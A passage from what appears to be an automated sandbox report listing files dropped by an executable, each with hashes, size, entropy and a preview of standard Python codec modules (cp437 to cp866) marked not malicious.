Encrypted:	false
SSDEEP:	384:p1LnZkjh4wVdjIVjxAEJHWJn4AVEccqPMy:XqjhJVRKxAEJ2BF6S
MD5:	A11E9C869BD055D6C91354FFFEB7644F
SHA1:	B008E64C808A86312863C194C621214134B4C432
SHA-256:	7B0A9AE2E74D370354CC60CBCFB77AF970364818BE2E2A446187DCCCF9E28ACC
SHA-512:	3A628F1BB8D36845074B4FA66A8B91B5F8365C5677CC81AFA5D7DA1313F328E1B409A3C43249C9D62FADC2B71CE9E7CE70CCD3854BA7B8CBB19CFB79B8AD92FE
Malicious:	false
Preview:	""" Python Character Mapping Codec cp437 generated from 'VENDORS/MICSFT/PC/CP437.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp437',.. encode=Codec().enc

C:\recover\pw\Lib\encodings\cp500.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13428
Entropy (8bit):	4.523115396759222
Encrypted:	false
SSDEEP:	192:ZHhsuOTDvR7UZkPS9BrG4/RVFIhRNvYkV2H2QB:8TirG4/0RYkgWQB
MD5:	BEE7333323D2BCA3262F13C59414EDD3
SHA1:	57E74B1BA865C5198C26344B2F6F270350C014B4
SHA-256:	A5CAC573ED357CB6C2A672D01696212C25E306936586D94BE0D0130354A4DB6F
SHA-512:	B9DD5137040DC57308093D9C71291668CE7CBEDCA11DBC0D85187C6DEE568CA25F69B67F7FB08A2CA248D966EC622C7CE0DD35C0BA2CD77C860274A11A50827D
Malicious:	false
Preview:	""" Python Character Mapping Codec cp500 generated from 'MAPPINGS/VENDORS/MICSFT/EBCDIC/CP500.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp500',.. e

C:\recover\pw\Lib\encodings\cp720.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13995
Entropy (8bit):	4.642939154809849
Encrypted:	false
SSDEEP:	192:fhsuOTDvRD9lPEeXGyQCmEdfn4OH3NGzN7KwAKYWEDdunzT:STSeXGy1dc5
MD5:	9B7E8AB7C2EE4F82BE09E14F3D3AEA4C
SHA1:	AA76BF3210EF70474330E0212A8B2EDEB518DC5B
SHA-256:	016BDB7208A0D6BFAF8972C1F6BB4B3DE39C77E026B49ED106866D592BE4810B
SHA-512:	0E706CB3E9199663D2DE2E6443F2C9E46279F11ED32BFFE482C4262D7CBD1A30F49018588F96C037E147D9DCE27F29C4ABC1EAAD230CF09B73317F5872967CCD
Malicious:	false
Preview:	"""Python Character Mapping Codec cp720 generated on Windows:..Vista 6.0.6002 SP2 Multiprocessor Free with the command:.. python Tools/unicode/genwincodec.py 720.."""#"......import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codec

C:\recover\pw\Lib\encodings\cp737.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35379
Entropy (8bit):	4.616163070442315
Encrypted:	false
SSDEEP:	384:VmDXpX8Jytkjh4wVoEm3clxHRE8q6HWJn4AVhUise69/TUMy:8DXizjhJVoEm3clx6y2BFH25W
MD5:	BD60E98CC59C8BD60874F59A06E30F78
SHA1:	D0086209BA6B3D56964EA7295A8EA54BC5AA02D7
SHA-256:	F2DA9D418B2364C2E1A587B7A6E26FF5601C16AA7993070F2C955DDF2A1F860D
SHA-512:	377D0F87DDBB23D9CCAABE35085EF1E92FCE766B01E55774F4371EA281A03825D141A6F905C90C419B19D09529A8185827C9F4FC6EB176BBADE3DFB478AFB1A0
Malicious:	false
Preview:	""" Python Character Mapping Codec cp737 generated from 'VENDORS/MICSFT/PC/CP737.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp737',.. encode=Codec().enc

C:\recover\pw\Lib\encodings\cp775.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35173
Entropy (8bit):	4.550355257462109
Encrypted:	false
SSDEEP:	192:8HLsuYDvRxp2YM0AQ7COJgJOlSwrE0PXRN/h4wcuSMy+PeD3xUpWS2449jBRWJnI:lRNALMSkjh4wVHeahcHWJn4AVztzXsj5
MD5:	CBEF285952C0476BF35BFCD7E7818919
SHA1:	1C61953A3AE6638EE415CA2A93710FF3D8E59D68
SHA-256:	00F2A5E71CA98ED656EC430A80FC2E971988A0A33EBDEA77661BDBE24FE2FBFF
SHA-512:	2F78E73843365DB7F164C2F3C7CD2AE5860D80A11BAF9212BA54C58F9B08C99035FEF6A200D836036AF2B4F1F286B0C2447953203B0EB1C87FD5F1DBE3D24396
Malicious:	false
Preview:	""" Python Character Mapping Codec cp775 generated from 'VENDORS/MICSFT/PC/CP775.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp775',.. encode=Codec().enc

C:\recover\pw\Lib\encodings\cp850.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34803
Entropy (8bit):	4.521332806052938
Encrypted:	false
SSDEEP:	192:QHLsuYDvRVSUpAJZjJBfX6l6xSwrE0PXRN/h4wcuSM5kw9evMStmxspGf6w6F44j:hbAZSkjh4wV5j9eJTHWJn4AVgqur
MD5:	F5F11DA44C65B2A394A4137E36E35E82
SHA1:	BD17C2F9156D704AEAB144A4C1B5B8CA436A5D73
SHA-256:	DCBE5938D7FE65072D4A286A184046DB211544C30F0C3C370B9CD594CF3B36BD
SHA-512:	58AE94059D5ABDC1892FE28DA1646249A0A96817B790BA468B1AA11983A8292AB1FCD1357C9EF9771DE11685FC999791DB184CAF16E7E05D634680AF8A74D6BA
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP850.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp850',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp852.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35700
Entropy (8bit):	4.529290225811869
Encrypted:	false
SSDEEP:	192:SHLsuYDvRzgbY6oxCzhnfnh7gwrE0PXRN/h4wcuSMyLLUhmCIbp0w449jBRWJn4d:vgCkjh4wVy/xHWJn4AV9dQr
MD5:	BB2BA9443AE7BD887BA8EAC3E622366A
SHA1:	777E47CA86C4CF65DA68603DDACD6C78B89E0DC7
SHA-256:	8B6AD769607B3DB0D60E4BA1A6321A3823AD8460890D48C816220DCDF8CBEA98
SHA-512:	EBAEC3C9AB014DD4B9629DF511D5E98A9CC88F4035841756142AFC462AB00D07B92050F62C89CF7B2C4891E7D4165F3B3C78548062AACE86E4680C6E2FF3F996
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP852.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp852',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp855.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34548
Entropy (8bit):	4.55461632698867
Encrypted:	false
SSDEEP:	192:PHLsuYDvR+mIj30FeMwrE0PXRN/h4wcuSM2fi+ypK2449jBRWJn4bkVd8nOiB6HL:i+0rkjh4wV8iN3HWJn4AVd8n0r
MD5:	7C84762C6FD5251CD237754FEB1752D4
SHA1:	B4F083D0AC32E26B77DB2E99F53C079DB7B844A1
SHA-256:	F4F47A5CF3FE5A8CD269B68A73C1DC293A75CD3B9C0489CFA600919B47B35A4C
SHA-512:	D841B04E354ADD8C3D337A6952163CDC8D74FE8F561418A8DEA9C7C5986EE15179F9F5B2336880ABD279CE45AA46CB55020EDE9CDF0FE8B7EA093D1033B5F108
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP855.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp855',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp856.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12730
Entropy (8bit):	4.6600353742865055
Encrypted:	false
SSDEEP:	192:JgHhsuOTDvRPUrXPLouhIAs2+i+/4mwNLlYip2MUo8ONT:jT5uhIAlg02MH
MD5:	EE5A43420B08D06B0B2D72A49F00216D
SHA1:	5CAB8D55CB2910C092AF40C921E0B0959933C216
SHA-256:	F0C9DAC1B08D688B81B4F11CA603336FBD5C7FC4C1A30E8B7836283C2AD9A8E7
SHA-512:	97CC6127C21CF49679AD8AC1B47D22D674A07D83BDCD7FAB54B3C821F8DC531435F3B12EE63222C92E3A9D6895404BA857926BA2CA52CDB1BD3ED51B49009C65
Malicious:	false
Preview:	""" Python Character Mapping Codec cp856 generated from 'MAPPINGS/VENDORS/MISC/CP856.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp856',.. encode=Cod

C:\recover\pw\Lib\encodings\cp857.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34602
Entropy (8bit):	4.528500526287676
Encrypted:	false
SSDEEP:	192:BHLsuYDvR8LmUdMAJZjy5xSwrE0PXRN/h4wcuSMMksbYevMScnepGW449jBRWJn+:4FAcSkjh4wVMuecebHWJn4AVk2Yr
MD5:	DD1F84F2921D49CF944DF4BCF6ECF7E8
SHA1:	7EEE7B6CAA8120C4D26E96FCCC21C4474BD2652A
SHA-256:	8AE4CB6989342105C513678480ECBDF2D5D8E534E69704964D0FB4D2A960039B
SHA-512:	92DB4E13E84876B51B2600F503C56857E96F06A1F23C327762372F97628C766B0E524568672FBF3BA07B26A4284C1AEB522BD433F3ABB9704CF9277157B95832
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP857.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp857',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp858.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34713
Entropy (8bit):	4.518245366498134
Encrypted:	false
SSDEEP:	192:CLsuYDvR9SUpAJZjJBIX6l6xSwrE0PXRN/h4wcuSM5kw9evMStmxNpGf6w6F4490:3jAYSkjh4wV5j9e2THWJn4AVgq/r
MD5:	F0B8B1B55A90C1EA058759AD18834A75
SHA1:	FD7AFDDE40956991241D6130F72A40D1C655B15B
SHA-256:	04A67B43EFA1E0CE2D80791C290BC2C8EA01C3991EB3DF37528B1DD575B12330
SHA-512:	72F7905616B3B3F9D961E4A605B15A8B9D427E13A82B1BA9AC1F2380E961DE6848A9C5068A57DE6CF62E0CEC5D9E6C2D7310F906D0EC16CAC345E48AA1ABF352
Malicious:	false
Preview:	""" Python Character Mapping Codec for CP858, modified from cp850....."""....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp858',.. encode=Codec().encode,.. decode=Codec().decode,..

C:\recover\pw\Lib\encodings\cp860.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35379
Entropy (8bit):	4.587856666654445
Encrypted:	false
SSDEEP:	192:/HLsuYDvRGYj/bXdiaYzIUqwrE0PXRN/h4wcuSMBmkwNvuD8HtIMpWZEt449jBRq:SfnZkjh4wVMjNjxAEJHWJn4AVWIcOMy
MD5:	1F0B22586EC65A59C966A709024E35E4
SHA1:	143BCD55359AD3B9506D6583D04A8C1BF32366BD
SHA-256:	E2B8B4B2658ECC3DC53D4B0760AEA95517BE298FAFBFA69574B08933747922BE
SHA-512:	7859FBC58DD5B68614F3F83DA28AA600E86A6F2DB7E011870B212E4D721478A8028D893AB666212DA1B1D38D41BB9E03B985C555154E33A20D71D2449DE7FDF2
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP860.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp860',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp861.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35331
Entropy (8bit):	4.588014438980019
Encrypted:	false
SSDEEP:	384:FfLnZkjh4wVlPVjxAEJHWJn4AVPScqPMy:JqjhJVbxAEJ2BFDS
MD5:	83CFB87E2BB8A42739A03DA1D979AF6A
SHA1:	97C16F469B56F437F521C482C613D4AEC6EF3206
SHA-256:	D7FE52A55FDCAC4E6E9ECDC4884C793D1FEB345D0276B074214DB1BF4BCF3033
SHA-512:	589B6933A5E45176210EA18997B056F41A6B03D765668B7328577D5CF8EEC9CF55B6247E225835D4666EB2AA0714ED927902929B75E27711437612BF9463D89E
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP861.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp861',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp862.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34068
Entropy (8bit):	4.605627535144471
Encrypted:	false
SSDEEP:	384:oPFL+DZkjh4wVOjIVjx79EJHWJn4AVE6AsqPMy:8UDqjhJVkKx79EJ2BFX7S
MD5:	D22ABCA28D2425D802F53021178224A1
SHA1:	D26E991DA020C07E58C03506347803A88230A6BB
SHA-256:	6D99C0415136CE45AB438C8238772A1A132E7B38212C623467C2170F1A8AAE75
SHA-512:	66E7C898ED749CF2706EA877FB099F50477EC5EA3C0FB4F2FA189F4E849D37AD01E7899BFC04A3D60D6CD5A1D42CFF69E71D0A39BE5F51C919543D22C2D82C6A
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP862.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp862',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp863.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34950
Entropy (8bit):	4.597040843450106
Encrypted:	false
SSDEEP:	384:DQ6LHZkjh4wV5VvxAEJHWJn4AV7qmqPMy:VqjhJVjxAEJ2BFtS
MD5:	13279C9ED7C1F7AF8722F9EB3A1B595B
SHA1:	BCF042EA7D75E802EE940B3C979626DCD0FAAD33
SHA-256:	32FC23645A773EBB3247B3692D0525EA43513B358DD0350EF3A171864E326335
SHA-512:	95CDDCB21D1E738A6850BEA50F6ABD8BBC537F916AC1B3BC16449710EECCDD6B9A54A584A6E40F89E3068B601F43EB297214B1585C9F658B7901BE8F1CBB5162
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP863.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp863',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp864.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34353
Entropy (8bit):	4.587380932355719
Encrypted:	false
SSDEEP:	192:THLsuYDvRKLaH2bdfn8yrE0PXRQ/h4wcuSMurHUF3zZUB+yEsqj44HjBRWJn4bkg:On2quKh4wVU2HWJn4AVXwn
MD5:	30CBEC79DA2D6565A1C62EF240272223
SHA1:	00C4D427BBE2ADEC7FD3EB73C4F025523D352EA6
SHA-256:	E8879DB3682B0F234BFCF97FE74A3A7DB63CFD5F40281F580E911932DEC4A4D3
SHA-512:	69191F9A4D7089C74A5CA459D0A325BD21347AAC6CAA7F2D4DBE7835A73CD31CCD23C395B11ED91AB55C1592456C7D39A6F3D2CBF1CD2338A27B921A41435864
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP864.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp864',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp865.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35316
Entropy (8bit):	4.589958887283082
Encrypted:	false
SSDEEP:	384:RQVLCZkjh4wVXjIVSxAEJHWJn4AVUVcqPMy:PqjhJVz5xAEJ2BFfS
MD5:	FE9E2A87FF8164A9602AF05FE30F64FC
SHA1:	3BEC0843F48826EC25A9D660B9A578148085D82F
SHA-256:	0722BBF3A0F93700E99B3816E9E52C75674E14319146F9AC3FD1E17F87E66CB0
SHA-512:	B1C5797EC453694C0E285084F25B7825C13C59B2754DE58319745923784BB5105485883C6E8BDDFEAC3267EE8E9CDD34A76155282C2AD774CEF58FBC6AC476FC
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP865.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp865',.. encode=Codec().encode,..

C:\recover\pw\Lib\encodings\cp866.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35094
Entropy (8bit):	4.600424943983017
Encrypted:	false
SSDEEP:	192:lHLsuYDvRI0CnFdiaYzFFwrE0PXRN/h4wcuSMXY3uD8HtIMpW5449jBRWJn4bkV1:EVMYkjh4wVXYrxcHWJn4AVo0kQMy
MD5:	BE6B4AAAD297AE734F59800072CCAA30
SHA1:	6FE723B5DA8606EC26DC4523AA6F6EEEDACD16E0
SHA-256:	E3A033B3B790018A0A02E9F67A03530753C7FB5F94B6ABA84F5173D29FB389AE
SHA-512:	5E4B443A4778EAF7ECFA41E88CC259A6ABB2CCA0F578F7F72800C201D280C3AC033528EBF1043862DD64896DDEA444190FFF29C6EC7AEB6DE00B5E6C7EBAA86C
Malicious:	false
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP866.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return 